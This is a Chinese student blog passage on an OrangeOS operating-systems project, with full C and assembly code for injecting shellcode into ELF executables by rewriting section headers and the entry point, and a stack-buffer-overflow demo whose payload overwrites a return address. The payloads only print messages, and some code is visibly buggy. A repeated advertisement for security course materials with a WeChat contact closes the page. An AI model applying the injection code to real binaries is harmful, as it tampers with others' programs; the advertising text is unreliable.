操作系统大作业——基于OrangeOS的改写,2024年最新透彻分析源码

xor eax, eax  
int 0x90  
popad  
mov ebx, 0x******** ; 随便写的入口地址(这是我学号后八位),在inject时会把原本的入口地址覆盖掉  
jmp ebx

get_msg_addr:  
call masmain

msg:  
db “Surpise! DP has injected it!”, 0xA, 0x0 ;换行符 空字符

然后依次使用如下指令得到机器码:

nasm -f elf32 inject.asm -o inject.o  
ld -s inject.o -o inject  
objdump -d inject

然后在test2.c中将显示的所有机器码写成一个inject_code数组:

unsigned char inject_code[] = {  
0x60, 0xeb, 0x0d, 0x5a, 0x31, 0xc0, 0xcd, 0x90, 0x61, 0xbb,   
0x00, 0x00, 0x00, 0x00, 0xff, 0xe3, 0xe8, 0xee, 0xff, 0xff,   
0xff, 0x53, 0x75, 0x72, 0x70, 0x69, 0x73, 0x65, 0x21, 0x20,  
0x44, 0x50, 0x20, 0x68, 0x61, 0x73, 0x20, 0x69, 0x6e, 0x6a,  
0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x69, 0x74, 0x21, 0x0a,  
0x00  
};  
unsigned int inject_size = sizeof(inject_code);  
# define ADDR 10    // 在inject_code代码中的偏移为10的地方保存原来的入口地址,此处预先填0

其中,偏移为ADDR(10)的位置为0x00, 0x00, 0x00, 0x00,这就是图6的0x********的位置,在注入过程中会将原入口地址填入到该偏移处。

接下来继续编写注入代码。具体思路就是首先得到文件名并读入文件之后,根据“.elf”判断它是否为elf文件,如果是的话,就首先保存原来的入口地址,然后判断代码节的前面是否有inject_size大小的全0区域,如果有的话就填入shellcode并修改代码节头和程序节头的大小和偏移,否则就报错:

// 判断是否为elf文件  
int is_elf(Elf32_Ehdr elf_ehdr) {  
// ELF文件头部的 e_ident 为 “0x7fELF”  
if (elf_ehdr.e_ident[0] == 0x7f || elf_ehdr.e_ident[1] == 0x45 ||   
elf_ehdr.e_ident[2] == 0x4c || elf_ehdr.e_ident[3] == 0x46) {  
return 1;  
}  
return 0;  
}

// unsigned int类型转换为直接在汇编指令中可用的数据的函数cal_addr  
// e.g. 41424344 -> [44, 43, 42, 41]  
void cal_addr(Elf32_Addr entry, int addr[]) {  
int temp = entry;  
int i;  
for (i = 0; i < 4; i++) {  
addr[i] = temp % 256;  // 256 == 8byte  
temp /= 256;  
}  
}

# define BUF_SIZE 100  
// 注入  
int inject(char* elf_file) {  
Elf32_Ehdr elf_ehdr;  // elf head  
Elf32_Phdr elf_phdr;  // elf program head  
Elf32_Shdr elf_shdr;  // elf section head

int fd = open(elf_file, O_RDWR);  
read(fd, &elf_ehdr, sizeof(Elf32_Ehdr));  
if(is_elf(elf_ehdr))    // 判断是否为elf文件  
printf(“%s is a ELF , start to inject…\n”, elf_file);  
else {  
printf(“%s is not a ELF!\n”, elf_file);  
return 0;  
}

// 保存原来的入口地址以便后续返回  
Elf32_Addr old_entry = elf_ehdr.e_entry;    
int old_entry_addr[4];  
cal_addr(old_entry, old_entry_addr);    
printf(“old_entry: 0x%x\n”, old_entry);

// 寻找注入点  
lseek(fd, elf_ehdr.e_shoff + elf_ehdr.e_shentsize, SEEK_SET);  
read(fd, &elf_shdr, sizeof(elf_shdr));  // 代码节的节头  
printf(“elf_shdr.sh_offset == %d”, elf_shdr.sh_offset);  
int off = elf_shdr.sh_offset - inject_size;  
lseek(fd, off, SEEK_SET);  
char buf[BUF_SIZE];  
int flag = 0;    // 是否找到注入点  
if(read(fd, &buf, BUF_SIZE)) {  
int i = 0;  
while(buf[i] == 0)  
i++;  
if(i >= inject_size)  
flag = 1;  
}

if(flag) {  
printf(“Inject code offset: 0x%x\n”, off);

// 填入原来的入口地址  
inject_code[ADDR] = old_entry_addr[0];  
inject_code[ADDR + 1] = old_entry_addr[1];  
inject_code[ADDR + 2] = old_entry_addr[2];  
inject_code[ADDR + 3] = old_entry_addr[3];

// 注入恶意代码  
lseek(fd, off, SEEK_SET);  
write(fd, &inject_code, inject_size);

// 修改代码节的节头  
elf_shdr.sh_offset -= inject_size;  
elf_shdr.sh_size += inject_size;  
elf_shdr.sh_addralign = 0;  
elf_shdr.sh_addr = off;  
lseek(fd, elf_ehdr.e_shoff + elf_ehdr.e_shentsize, SEEK_SET);  
write(fd, &elf_shdr, sizeof(elf_shdr));

// 修改程序的入口点  
elf_ehdr.e_entry = off;  
lseek(fd, elf_ehdr.e_phoff, SEEK_SET);   
read(fd, &elf_phdr, sizeof(elf_phdr));  
elf_phdr.p_filesz += inject_size;  
elf_phdr.p_memsz += inject_size;  
elf_phdr.p_vaddr = off;  
elf_phdr.p_offset = off;  
elf_phdr.p_align = 0;  
printf(“Modify entry address to 0x%x\n”, elf_ehdr.e_entry);  
lseek(fd, 0, SEEK_SET);  
write(fd, &elf_ehdr, sizeof(elf_ehdr));  
lseek(fd, elf_ehdr.e_phoff, SEEK_SET);  
write(fd, &elf_phdr, sizeof(elf_phdr));

close(fd);  
printf(“Finish!\n”);  
return 1;  
}  
else {  
printf(“No enough space for inject!\n”);  
return 0;  
}  
}

// 主函数  
int main(int argc, char** argv) {  
if (argc != 2) {  
printf(“Please input inject <elf_filepath>!\n”);  
exit(0);  
}  
if(inject(argv[1])) {  
printf(“Inject success!\n”);  
}  
else  
printf(“Inject fail!\n”);  
return 0;  
}

编译运行,得到下图结果:

其实这存在一些问题,因为我单独写这个的时候没有报错,但是当我与别的结合在一起后,我发现根本就注入不了了,也不知道为啥。还会报下面的错:

所以我又用另一个比较硬核的方法去研究。 (虽然也没成功)

2.3 可执行文件的破坏(法二)

虽然,最后还是没有成功解决上面那不能放一起的问题(发现test2不能与test1还有test3共存,就很怪),但确实也是另一种思路。

与法一有一个很大的不同之处,那就是我没有调用elf库。

还是惯例的写一个判断是否为elf文件的函数,具体分析见法一:

int is_ELF(char *filename){  
printf(“open file!@!\n”);  
int fd = open(filename, O_RDWR);  
printf(“fd == %d\n”, fd);  
if(fd == -1){  
printf(“no such file: %s\n”, filename);  
return 0;  
}  
char head[4];  
read(fd, head, 0x4);  
close(fd);  
return memcmp(head, “\x7f\x45\x4c\x46”, 4) == 0;

}

这个方法比较硬核,那就是计算出编译后cat指令的地址,并计算出偏移地址来注入攻击。

然后是inject函数并调用,思路详见代码注释,这里就不赘述了。

void inject(filename){

char shellcode[0x100];  
int i;  
for(i = 0; i < sizeof(shellcode); i++) shellcode[i] = 0x90; //nop  
int fd = open(filename, O_RDWR);  
if(fd < 0) return printf(“open error!\n”);  
char buffer[0x3000];  
read(fd, buffer, 0x3000);

//保存程序原先的入口地址  
int start;  
memcpy(&start, buffer+24, 4);  
printf(“start_addr at : %d\n”, start);

//寻找代码段  
int s_off;  
memcpy(&s_off, buffer+32, 4);  
//每个段描述符的长度是40个字节  
//text一般是第二个段  
printf(“seg_off in file: %d\n”, s_off);  
int seg_text = buffer + s_off + 40;  
int sh_addr, seg_offset, seg_size;  
memcpy(&sh_addr, seg_text+12, 4); //段映射的虚拟地址  
memcpy(&seg_offset, seg_text+16, 4);//段在文件中的偏移  
memcpy(&seg_size, seg_text+20, 4);//段的长度  
printf(“seg_offset == %d\nseg_size == %d\n”, seg_offset, seg_size);  
int code_start = start - sh_addr + seg_offset;//代码在文件中的起始地址  
printf(“code_start == %d\n”, code_start);  
for(i = 0; i < sizeof(shellcode); i++){  
if(*(buffer + seg_offset - i -1) != 0) break;  
}  
if(i != sizeof(shellcode)) return printf(“cannot inject!\n”);  
printf(“inject is ok!\n”);  
memcpy(buffer+seg_offset-sizeof(shellcode), shellcode, sizeof(shellcode));  
//printf(“shllcode: %s\n”, shellcode);  
//write(1, buffer+seg_offset-sizeof(shellcode), 0x100);  
printf(“inject offset == %d\n”, seg_offset-sizeof(shellcode));

//new_seg_start 就是新代码段在文件中的偏移,也是新的程序入口点  
int new_seg_start = 0x0f00;//seg_offset - sizeof(shellcode);

//改写text段表    
seg_offset -= sizeof(shellcode);  
seg_size += sizeof(shellcode);  
sh_addr = seg_offset - sizeof(shellcode);  
memcpy(seg_text+12, &sh_addr, 4);  
memcpy(seg_text+16, &seg_offset, 4);  
memcpy(seg_text+20, &seg_size, 4);

//修改程序入口地址  
//  printf(“@@@@@@@@@@@  %d\n”, *(buffer+20));  
printf(“@@@@@@@@@@@  %d\n”, *(int *)(buffer+24));  
//  printf(“@@@@@@@@@@@  %d\n”, *(buffer+28));  
//  printf(“@@@@@@@@@@@  %d\n”, *(buffer+32));  
memcpy(buffer+24, &new_seg_start, 4);  
//  printf(“@@@@@@@@@@@  %d\n”, *(buffer+24));  
printf(“@@@@@@@@@@@  %d\n”, *(int *)(buffer+24));  
printf(“new_seg_start == %d\n”, new_seg_start);

close(fd);  
fd = open(filename, O_RDWR);  
int len = write(fd, buffer, sizeof(buffer));  
printf(“inject length == %d\n”, len);  
close(fd);

char test[0x1000];  
int fd2 = open(“cat”, O_RDWR);  
read(fd2, test, 0x1000);  
printf(“%d\n”, *(int *)(test+24));  
printf(“%s\n”, test+0xf00);  
close(fd2);  
}

int main(){  
inject(“cat”);    
}

编译执行后得到下图

原本cat指令执行正常,test2攻击后,cat指令输出自己的错误信息(原来就有的,不应该输出,但攻击后输出了),故实验成功。

但可惜的是,依旧没有解决test2与test1、test3不兼容的问题

2.3 缓冲区溢出漏洞——栈溢出漏洞

漏洞定义

缓冲区溢出漏洞是一种常见的安全漏洞,发生在程序向一个缓冲区写入更多数据时,超出了为该缓冲区分配的内存大小。这种溢出可能会覆盖相邻内存区域的内容,导致数据损坏、系统崩溃或安全漏洞。缓冲区溢出有栈溢出、堆溢出、BBS 溢出等多种类型,而我这次仅研究了栈溢出一种。

栈溢出漏洞发生在程序在处理数据时,写入的数据量超过了分配给栈上变量的内存空间。这种漏洞通常出现在使用不安全的字符串操作函数(如strcpy, strcat,sprintf等)时,因为这些函数不会自动检查目标缓冲区的大小,从而可能导致缓冲区溢出。

漏洞产生的原因

栈是一个后进先出的数据结构,用于存储局部变量、函数参数、返回地址等。在函数调用时,会为其局部变量和一些控制信息分配一段连续的内存区域,这段区域被称为栈帧。栈帧的大小在编译时通常是已知的,但如果程序运行时写入了超过这个大小的数据,就会造成栈溢出。

攻击原理

• 溢出发生:当过多的数据被写入栈上的缓冲区(如数组)时,超出的数据会覆盖相邻的栈帧内容。这种情况常见于使用不安全的字符串函数(如strcpy、gets等)。

• 覆盖返回地址:攻击者精心构造输入数据,使得栈上的返回地址被覆盖。这允许攻击者控制程序接下来执行的位置。

• 执行攻击者的代码:攻击者通常在输入数据中嵌入一段恶意代码(称为shellcode),并将返回地址修改为这段代码的起始地址。当函数尝试返回时,程序的执行流被重定向到这段恶意代码。

• 绕过安全措施:现代操作系统和编译器实施了多种安全措施(如堆栈保护、地址空间布局随机化ASLR等)来防止栈溢出攻击。然而,有经验的攻击者可能使用更复杂的技术(如栈喷射、ROP链等)来绕过这些保护机制。

具体分析

我选择在代码文件中的一个函数中调用一个不安全函数,然后溢出这个函数。

溢出自定义不安全函数的基本假设是:我们可以自定义一个大小有限的缓冲区,然后采取方案将其溢出。可以采用直接向函数传一个占空间超过预定义buf的巨大参数,也可以选择用strcpy()、gets()等不做长度检查的不安全函数来达到攻击的效果。

检查Oranges操作系统中strcpy函数的实现:

strcpy:  
push    ebp  
mov     ebp, esp

mov     esi, [ebp + 12] ; Source  
mov     edi, [ebp + 8]  ; Destination

.1:  
mov     al, [esi]               ; ┓  
inc     esi                     ; ┃  
; ┣ 逐字节移动  
mov     byte [edi], al          ; ┃  
inc     edi                     ; ┛

cmp     al, 0           ; 是否遇到 ‘\0’  
jnz     .1              ; 没遇到就继续循环,遇到就结束

mov     eax, [ebp + 8]  ; 返回值

pop     ebp  
ret                     ; 函数结束,返回

可以发现,这个函数的实现存在安全隐患,因为它不会检查目标缓冲区的大小,直接将源字符串拷贝到目标字符串中,直到遇到\0字符。如果源字符串的长度超过了目标缓冲区的大小,这将导致栈溢出。

所以,这里我们采取的是第二种方式,通过攻击不安全函数来溢出返回地址。我们编写test3.c的代码如下:

#include “stdio.h”  
#include “string.h”

unsigned char payload[] = {  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x66,0x66,0x20,0x66,  
0x66,0x66,0x66,0x66,0x21,0x10,0x00,0x00  
};

void bufferoverflow(char *str)  
{  
unsigned char buf[256];  
strcpy(buf, payload);  
}

void shellcode()  
{  
printf(“Hello, DP. Bufferoverflow!\n”);  
}

int main(int argc, char *argv[])  
{  
bufferoverflow(payload);  
printf(“111”);  
}

test3.c只有三个函数,调用关系也十分简单,仅仅是main函数调用bufferoverflow函数.值得注意的是,shellcode函数实际上并没有被调用。payload的最后四个字节为0x21,0x10,0x00,0x00,这是shellcode函数的入口地址。得到该入口地址的方法为使用make install 编译出可执行文件之后,使用objdump -d buffer_attack > dump.txt进行反汇编,下面是得到的反汇编文件(仅截取我用到的部分):

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

课程,基本涵盖了95%以上网络安全知识点,真正体系化!**

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-KBxv2i7V-1712807811938)]

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-F3jEwDet-1712807811939)]

  • 19
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值